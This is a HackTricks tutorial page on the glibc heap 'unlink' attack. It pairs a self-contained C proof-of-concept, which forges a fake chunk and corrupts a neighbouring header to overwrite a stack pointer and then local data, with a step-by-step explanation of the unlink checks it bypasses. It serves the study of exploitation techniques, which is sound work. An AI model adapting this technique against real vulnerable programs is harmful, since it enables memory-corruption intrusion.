Unlink Attack

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

When this attack was discovered it mostly allowed a WWW (Write What Where), however, some checks were added making the new version of the attack more interesting more more complex and useless.

Code Example:

Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x8000);
  chunk2 = malloc(0x8000);
  printf("Stack pointer to chunk1: %p\n", &chunk1);
  printf("Chunk1: %p\n", chunk1);
  printf("Chunk2: %p\n", chunk2);

  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->size = 0x8000;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("Chunk1: %p\n", chunk1);
  printf("Chunk1[3]: %x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}
  • Attack doesn't work if tcaches are used

Goal

  • Modify a pointer to a chunk in the stack so it points to the stack so it's possible to alter the contents of the stack by writing in the chunk

Requirements

  • Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.

  • Stack leak in order to set the pointers of the fake chunk.

Attack

  • There are a couple of chunks (chunk1 and chunk2)

  • The attacker controls the content of chunk1 and the headers of chunk2.

  • In chunk1 the attacker creates the structure of a fake chunk:

    • To bypass protections he makes sure that the field size is correct to avoid the error: corrupted size vs. prev_size while consolidating

    • and fields fd and bk of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so fake_chunk->fd->bk and fake_chunk->bk->fd points to position in memory (stack) where the real chunk1 address is located:

  • The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.

  • When the second chunk is freed then this fake chunk is unlinked happening:

    • fake_chunk->fd->bk = fake_chunk->bk

    • fake_chunk->bk->fd = fake_chunk->fd

  • Previously it was made that fake_chunk->fd->bk and fake_chunk->fd->bk point to the same place (the location in the stack where chunk1 was stored, so it was a valid linked list). As both are pointing to the same location only the last one (fake_chunk->bk->fd = fake_chunk->fd) will take effect.

  • This will overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack.

    • Therefore, if an attacker could control the content of the chunk1 again, he will be able to write inside the stack being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated